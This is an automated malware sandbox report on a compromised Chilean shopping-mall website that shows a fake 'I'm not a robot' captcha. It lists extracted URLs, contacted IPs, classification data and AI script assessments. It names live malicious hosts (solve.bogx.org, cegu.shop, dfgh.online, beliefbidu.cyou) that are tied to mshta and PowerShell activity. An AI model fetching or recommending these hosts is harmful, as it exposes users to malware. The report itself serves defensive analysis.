http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000012.00000002.1386205881.00000296E39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mc.yandex.md/cc	chromecache_223.1.dr, chromecache_218.1.dr	false		high
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-192x192.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://dmp.adform.net/serving/cookie/match?party=1123	chromecache_210.1.dr	false		high
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mc.kinopoisk.ru/sync_cookie_image_check	chromecache_210.1.dr	false		high
https://patiooutletmaipu.cl/xmlrpc.php?rsd	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_190.1.dr	false		high
https://patiooutletmaipu.cl/tiendas/head/#breadcrumb	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://cct.google/taggy/agent.js	chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://eu.asas.yango.com/mapuid	chromecache_223.1.dr, chromecache_218.1.dr	false		high
https://cegu.shop/8574262446/ph.txtL	powershell.exe, 0000001E.00000002.2603608437.0000000000D0B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://connect.facebook.net/	chromecache_211.1.dr, chromecache_220.1.dr	false		high
https://github.com/Pester/Pesterp	powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000014.00000002.2207984396.0000000008620000.00000004.00000020.00020000.00000000.sdmp	false		high
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://cegu.shop/8574262446/ph.txt_	powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-150x150.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://ventas.patio.cl/SolutionsRE/index.html#/login	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://beliefbidu.cyou/T3%0	powershell.exe, 0000001E.00000002.2623555465.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yastatic.net/s3/taxi-front/yango-gdpr-popup/	chromecache_223.1.dr, chromecache_218.1.dr	false		high
http://www.headchile.com/	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	false		high
https://yoast.com/wordpress/plugins/seo/	chromecache_190.1.dr	false		high
https://contoso.com/License	powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-300x300.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/wp-json/wp/v2/cpttiendas/2800	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compName=	powershell.exe, 0000001E.00000002.2634438590.0000000005960000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000330D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000333F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2635096166.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://analytics.tiktok.com/i18n/pixel/events.js	chromecache_190.1.dr	false		high
https://aka.ms/pscore6	powershell.exe, 00000014.00000002.2113443255.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://patiooutletmaipu.cl/tiendas/	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlp	powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microwC	powershell.exe, 00000014.00000002.2207984396.0000000008620000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://beliefbidu.cyou/api:	powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323)3	mshta.exe, 00000011.00000003.1454869767.00000213920E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1449256712.00000213920E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	false		high
https://patiooutletmaipu.cl/#website	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-768x768.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://solve.bogx.org/	mshta.exe, 00000011.00000003.1454869767.0000021392106000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1456897833.0000021392106000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-1024x1024.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://cegu.shop/8574262446/ph.txt)	powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000012.00000002.1407196748.00000296F3A2E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1407196748.00000296F3B6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1386205881.00000296E539C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000012.00000002.1386205881.00000296E4E35000.00000004.00000800.00020000.00000000.sdmp	false		high
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323K	mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngp	powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/?s=	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323TEM32	mshta.exe, 00000011.00000003.1454869767.00000213920C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://patiooutletmaipu.cl/?p=2800	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.194.76.156	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
216.239.38.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
87.250.250.119	unknown	Russian Federation	13238	YANDEXRU	false
142.250.185.100	unknown	United States	15169	GOOGLEUS	false
157.240.0.6	unknown	United States	32934	FACEBOOKUS	false
93.158.134.119	unknown	Russian Federation	13238	YANDEXRU	false
3.33.155.121	a37dd8b3f3000a75e.awsglobalaccelerator.com	United States	8987	AMAZONEXPANSIONGB	false
200.111.89.45	patiooutletmaipu.cl	Chile	6471	ENTELCHILESACL	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
87.250.251.119	unknown	Russian Federation	13238	YANDEXRU	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.32.1	solve.bogx.org	United States	13335	CLOUDFLARENETUS	false
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
157.240.251.9	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	beliefbidu.cyou	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	d1.exploredairyaptitude.shop	European Union	13335	CLOUDFLARENETUS	true
77.88.21.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false
157.240.253.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
157.240.251.35	unknown	United States	32934	FACEBOOKUS	false
142.250.186.66	td.doubleclick.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.17
192.168.2.13
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588103
Start date and time:	2025-01-10 20:48:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://patiooutletmaipu.cl/tiendas/head/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.win@27/95@51/25
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 76% Number of executed functions: 367 Number of non-executed functions: 48

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.186.78, 64.233.167.84, 142.250.186.174, 142.250.184.206, 172.217.16.206, 104.21.27.152, 172.67.142.245, 216.58.206.72, 2.23.227.130, 2.23.227.156, 2.20.245.76, 2.20.245.81, 172.217.16.200, 172.217.18.14, 192.229.221.95, 199.232.210.172, 172.217.16.142, 142.250.74.206, 142.250.186.46, 172.217.23.110, 142.250.186.67, 216.58.212.174, 142.250.185.174, 20.109.210.53, 2.23.227.208, 204.79.197.222, 2.23.242.162, 52.108.8.254, 4.150.240.254, 13.107.5.88, 40.126.32.76
Excluded domains from analysis (whitelisted): fp.msedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, wac-ring.msedge.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, www.googletagmanager.com, r.bing.com, update.googleapis.com, analytics.tiktok.com.edgekey.net, www.google-analytics.com, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, arm-ring.msedge.net, analytics.tiktok.com.bytewlb.akadns.net, e35058.api15.akamaiedge.net, ctldl.windowsupdate.com, t-ring-fdv2.msedge.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, evoke-windowsservices-tas.msedge.net, e35058.api12.akamaiedge.net, clients.l.google.com
Execution Graph export aborted for target mshta.exe, PID 7780 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 8096 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://patiooutletmaipu.cl/tiendas/head/

Simulations

Behavior and APIs

Time	Type	Description
14:50:00	API Interceptor	60x Sleep call for process: powershell.exe modified

LLM Input / Output

Input	Output
URL: https://patiooutletmaipu.cl Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://patiooutletmaipu.cl
URL: https://patiooutletmaipu.cl/tiendas/head/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet is a simple event listener that toggles a CSS class on a DOM element when clicked. This behavior is common for implementing interactive user interfaces and does not exhibit any high-risk indicators. The script appears to be a legitimate implementation of a floating icon menu functionality." }
var floatingMenuIcon = document.querySelector('.oxel_floating_icon_menu__main_icon'); floatingMenuIcon.addEventListener('click', (e) => { if( !floatingMenuIcon.classList.contains('oxel_floating_icon_menu__main_icon--active') ) { floatingMenuIcon.classList.add('oxel_floating_icon_menu__main_icon--active'); } else { floatingMenuIcon.classList.remove('oxel_floating_icon_menu__main_icon--active'); } });
URL: https://patiooutletmaipu.cl/tiendas/head/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of the TikTok Analytics SDK. It sets up the necessary infrastructure for tracking user interactions and page views, which is a common practice for web analytics and marketing purposes. While the code uses some dynamic techniques, such as creating a global object and deferring method definitions, these are typical patterns for SDK integration. The script does not exhibit any high-risk indicators like data exfiltration or malicious redirects. Overall, the behavior is consistent with a legitimate analytics use case, and the risk score is low." }
!function (w, d, t) { w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]\|\|[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]\|\|[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i\|\|{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t\|\|{},ttq._t[e]=+new Date,ttq._o=ttq._o\|\|{},ttq._o[e]=n\|\|{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)}; ttq.load('CNFVUBJC77U9NURUIJ8G'); ttq.page(); }(window, document, 'ttq');
URL: https://patiooutletmaipu.cl/wp-includes/js/jquery/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This appears to be the standard jQuery library, which is a widely used and trusted JavaScript library. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or suspicious redirects. The code is well-structured and does not exhibit any obfuscation or aggressive DOM manipulation. Overall, this script is likely benign and used for legitimate web development purposes." }
/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[i.call(e)]\|\|"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==i.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i\|\|11===i?e.textContent:9===i?e.documentElement.textContent:3===i\|\|4===i?e.nodeValue:n},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){va
URL: https://patiooutletmaipu.cl/tiendas/head/... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of a dropdown menu functionality, with no clear indicators of malicious intent. It uses standard DOM manipulation techniques and event handlers to manage the dropdown behavior, including handling mouse interactions and positioning the dropdown menus correctly. While the code uses some legacy APIs like `XDomainRequest`, which is a low-risk indicator, the overall behavior is consistent with a typical menu implementation and does not demonstrate any high-risk indicators like dynamic code execution, data exfiltration, or suspicious redirects. Therefore, this script is assessed as low risk." }
function oxygen_init_pro_menu() { jQuery('.oxy-pro-menu-container').each(function(){ // dropdowns var menu = jQuery(this), animation = menu.data('oxy-pro-menu-dropdown-animation'), animationDuration = menu.data('oxy-pro-menu-dropdown-animation-duration'); jQuery('.sub-menu', menu).attr('data-aos',animation); jQuery('.sub-menu', menu).attr('data-aos-duration',animationDuration1000); oxygen_offcanvas_menu_init(menu); jQuery(window).resize(function(){ oxygen_offcanvas_menu_init(menu); }); // let certain CSS rules know menu being initialized // "10" timeout is extra just in case, "0" would be enough setTimeout(function() {menu.addClass('oxy-pro-menu-init');}, 10); }); } jQuery(document).ready(oxygen_init_pro_menu); document.addEventListener('oxygen-ajax-element-loaded', oxygen_init_pro_menu, false); let proMenuMouseDown = false; jQuery(".oxygen-body") .on("mousedown", '.oxy-pro-menu-show-dropdown:not(.oxy-pro-menu-open-container) .menu-item-has-children', function(e) { proMenuMouseDown = true; }) .on("mouseup", '.oxy-pro-menu-show-dropdown:not(.oxy-pro-menu-open-container) .menu-item-has-children', function(e) { proMenuMouseDown = false; }) .on('mouseenter focusin', '.oxy-pro-menu-show-dropdown:not(.oxy-pro-menu-open-container) .menu-item-has-children', function(e) { if( proMenuMouseDown ) return; var subMenu = jQuery(this).children('.sub-menu'); subMenu.addClass('aos-animate oxy-pro-menu-dropdown-animating').removeClass('sub-menu-left'); var duration = jQuery(this).parents('.oxy-pro-menu-container').data('oxy-pro-menu-dropdown-animation-duration'); setTimeout(function() {subMenu.removeClass('oxy-pro-menu-dropdown-animating')}, duration1000); var offset = subMenu.offset(), width = subMenu.width(), docWidth = jQuery(window).width(); if (offset.left+width > docWidth) { subMenu.addClass('sub-menu-left'); } }) .on('mouseleave focusout', '.oxy-pro-menu-show-dropdown .menu-item-has-children', function() { jQuery(this).children('.sub-menu').removeClass('aos-animate'); var subMenu = jQuery(this).children('.sub-menu'); //subMenu.addClass('oxy-pro-menu-dropdown-animating-out'); var duration = jQuery(this).parents('.oxy-pro-menu-container').data('oxy-pro-menu-dropdown-animation-duration'); setTimeout(function() {subMenu.removeClass('oxy-pro-menu-dropdown-animating-out')}, duration*1000); }) // open icon click .on('click', '.oxy-pro-menu-mobile-open-icon', function() { var menu = jQuery(this).parents('.oxy-pro-menu'); // off canvas if (jQuery(this).hasClass('oxy-pro-menu-off-canvas-trigger')) { oxygen_offcanvas_menu_run(menu); } // regular else { menu.addClass('oxy-pro-menu-open'); jQuery(this).siblings('.oxy-pro-menu-container').addClass('oxy-pro-menu-open-container'); jQuery('body').addClass('oxy-nav-menu-prevent-overflow'); jQuery('html').addClass('oxy-nav-menu-prevent-overflow'); oxygen_pro_menu_set_static_width(m
URL: https://patiooutletmaipu.cl/wp-content/plugins/oxy... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a minified version of the AOS (Animate on Scroll) library, which is a popular open-source library for adding animations to elements on a web page as the user scrolls. The code does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. It seems to be a legitimate library with no obvious malicious intent." }
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="dist/",t(0)}([function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r=n(1),a=(o(r),n(6)),u=o(a),c=n(7),f=o(c),s=n(8),d=o(s),l=n(9),p=o(l),m=n(10),b=o(m),v=n(11),y=o(v),g=n(14),h=o(g),w=[],k=!1,x={offset:120,delay:0,easing:"ease",duration:400,disable:!1,once:!1,startEvent:"DOMContentLoaded",throttleDelay:99,debounceDelay:50,disableMutationObserver:!1},j=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];if(e&&(k=!0),k)return w=(0,y.default)(w,x),(0,b.default)(w,x.once),w},O=function(){w=(0,h.default)(),j()},_=function(){w.forEach(function(e,t){e.node.removeAttribute("data-aos"),e.node.removeAttribute("data-aos-easing"),e.node.removeAttribute("data-aos-duration"),e.node.removeAttribute("data-aos-delay")})},S=function(e){return e===!0\|\|"mobile"===e&&p.default.mobile()\|\|"phone"===e&&p.default.phone()\|\|"tablet"===e&&p.default.tablet()\|\|"function"==typeof e&&e()===!0},z=function(e){x=i(x,e),w=(0,h.default)();var t=document.all&&!window.atob;return S(x.disable)\|\|t?_():(document.querySelector("body").setAttribute("data-aos-easing",x.easing),document.querySelector("body").setAttribute("data-aos-duration",x.duration),document.querySelector("body").setAttribute("data-aos-delay",x.delay),"DOMContentLoaded"===x.startEvent&&["complete","interactive"].indexOf(document.readyState)>-1?j(!0):"load"===x.startEvent?window.addEventListener(x.startEvent,function(){j(!0)}):document.addEventListener(x.startEvent,function(){j(!0)}),window.addEventListener("resize",(0,f.default)(j,x.debounceDelay,!0)),window.addEventListener("orientationchange",(0,f.default)(j,x.debounceDelay,!0)),window.addEventListener("scroll",(0,u.default)(function(){(0,b.default)(w,x.once)},x.throttleDelay)),x.disableMutationObserver\|\|(0,d.default)("[data-aos]",O),w)};e.exports={init:z,refresh:j,refreshHard:O}},function(e,t){},,,,,function(e,t){(function(t){"use strict";function n(e,t,n){function o(t){var n=b,o=v;return b=v=void 0,k=t,g=e.apply(o,n)}function r(e){return k=e,h=setTimeout(s,t),_?o(e):g}function a(e){var n=e-w,o=e-k,i=t-n;return S?j(i,y-o):i}function c(e){var n=e-w,o=e-k;return void 0===w\|\|n>=t\|\|n<0\|\|S&&o>=y}function s(){var e=O();return c(e)?d(e):void(h=setTimeout(s,a(e)))}function d(e){return h=void 0,z&&b?o(e):(b=v=void 0,g)}function l(){void 0!==h&&clearTimeout(h),k=0,b=w=v=h=void 0}function p(){return void 0===h?g:d(O())}function m(){var e=O(),n=c(e);if(b=arguments,v=this,w=e,n){if(void 0===h)return r(w);if(S)return h=setTimeout(s,t),o(w)}return void 0===h&&(h=setTimeout(s,t)),g}var b,v,y,g,h,w,k=0,_=!1,S=!1,z=!0;if("function"!=typeof e)throw new TypeError(f);return t=u(t)\|\|0,i(n)&&(_=!!n.leading,S="maxWait"in n,y=S?x(u(n.maxWait)\|\|0,t):y,z="trailing"in n?!!n.trailing:z),m.cancel=l,m.flush=p,m}function o(e,t,o){var r=!0,a=!0;if("function"!=typeof e)throw new TypeError(f);return i(o)&&(r="leading"in o?!!o.leading:r,a="trailing"in o?!!o.trailing:a),n(e,t,{leading:r,maxWait:t,trailing:a})}function i(e){var t="undefined"==typeof e?"undefined":c(e);return!!e&&("object"==t\|\|"function"==t)}function r(e){return!!e&&"object"==("undefined"==typeof e?"undefined":c(e))}function a(e){return"symbol"==("undefined"==typeof e?"undefined":c(e))\|\|r(e)&&k.call(e)==d}function u(e){if("number"==typeof e)return e;if(a(e))return s;if(i(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=i(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(l,"");var n=m.test(e);return n\|\|b
URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "I'm not a robot", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
